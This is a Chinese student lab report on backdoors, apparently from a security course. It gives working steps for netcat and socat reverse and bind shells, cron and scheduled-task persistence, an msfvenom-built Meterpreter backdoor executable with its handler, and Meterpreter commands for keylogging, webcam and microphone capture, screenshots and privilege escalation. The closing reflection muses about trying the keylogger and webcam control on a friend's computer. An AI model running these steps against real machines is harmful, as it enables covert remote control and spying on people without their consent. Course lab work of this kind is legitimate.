20154321 Exp2后门原理与实践

Exp2后门原理与实践

20154321 何思影

2.1简单后门

一、后门工具介绍

1.netcat(nc、ncat)

·         是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

2.socat

·         类似于Netcat的加强版。

3.Meterpreter

·         利用 Metaspolit 的 msfvenom 指令生成后门可执行文件,本实验要生成的这个后门程序就是Meterpreter。

二、ncat、socat的基础操作

2.1 Windows与linux间获取Shell

2.1.1 Windows主机获取 Linux Shell

Windows:

  1. win主机查本机IP地址:ipconfig

2.利用netcat.exe程序监听端口:4321

3.使用nc 192.168.239.1 4321 -e /bin/sh指令反向连接Windows主机的4321端口:

4.Windows执行linux shell指令

此时可以在win_cmd.exe下运行linux 指令

2.1.2 Linux主机获取 Windows shell

Linux :

  1. 查看kali主机IP地址:ifconfig

2.输入nc -l -p 4321指令监听端口

3.在cmd窗口使用 ncat.exe -e cmd.exe 192.168.20.129 4321命令去连接Linux的4321端口。

4.Linux运行Windows shell

2.2 ncat进行数据传输

1.Windows输入指令ncat.exe -l 4321 监听

2.Linux输入指令 连接win主机

3. 双向传输字符串

 

2.3 ncat 定时启动

1.Windows输入指令ncat.exe -l -p 4321监听

2.Linux输入指令crontab -e ,选择一个文本编辑器打开,在最后一行添加代码:40 * * * * /bin/netcat Win的IP 端口 -e /bin/sh 在每小时的40分运行ncat回连win主机

3.时间到了,可以运行Linux shell指令了

2.4 socat 定时启动

1.在Windows桌面按键win+I,依次打开 控制面板->系统和安全->管理工具->任务计划,新建一个任务

设置如上

2.新建一个触发器

3.新建一个操作

设置如上,其中参数为tcp-listen:4321 exec:cmd.exe,pty,stderr ,4321为端口号

4.确定,查看程序是否在运行,如未运行点击右侧运行按钮使其运行

5.Linux输入指令 socat, windows主机IP、端口号,此时可以获取win的shell命令

三、体验 MSF Meterpreter 功能

3.1 利用msfvenom指令生成后门程序

1.在Linux主机输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=Linux的IP LPORT=端口 -f exe > 20154321_backdoor.exe,此条指令意为生成一个.exe程序,名称为 20154321_backdoor,将来在windows上运行时会回连到Linux主机相应端口

2.成功之后该文件在当前目录,找到之后拷贝到Windows主机,地址随意


3.2 linux进入控制台进行设置

1.Linux输入指令msfconsole

2.在msf>下输入命令use exploit/multi/handler

3.继续输入set payload windows/meterpreter/reverse_tcp 设置payload

4.输入指令set LHOST Linux IP

5.输入指令 set LPORT 4305

6.输入指令show options

3.3 linux开启监听,windows运行后门

1.Linux输入指令exploit 开始监听

2.windows主机双击后门木马程序执行

3.4 Linux主机操控Windows主机

3.4.1 输入指令record_mic 录制一段音频

3.4.2 输入指令webcam_snap 拍摄照片

 

3.4.3 输入指令screenshot 截取屏幕

 

3.4.4 输入指令keyscan_start记录击键内容,输入指令keyscan_dump 获取击键记录

下图是我在win主机上输入的内容

3.4.5 输入指令getuid 查看当前用户,输入指令getsystem 提权

四、回答问题

1.例举你能想到的一个后门进入到你系统中的可能方式?

·         从网站下载文件时绑定了后门木马

2.例举你知道的后门如何启动起来(win及linux)的方式?

·         win中的木马可能伴随软件一同启动,Linux可通过cron启动

五、实验感想

这次实验感触很深,让我以后用电脑都有一种被监视的感觉。这次使用Meterpreter还是很有趣的,功能很多,其中击键记录、偷窥登录密码、控制摄像头等功能,觉得以后可以在朋友的电脑上试试,看起来很高级的样子,不过实际操作做起来,我的头要炸了。这门课太难了,不过我会尽力的。。。。。。

posted @ 2018-04-02 22:02  20154321  阅读(121)  评论(0编辑  收藏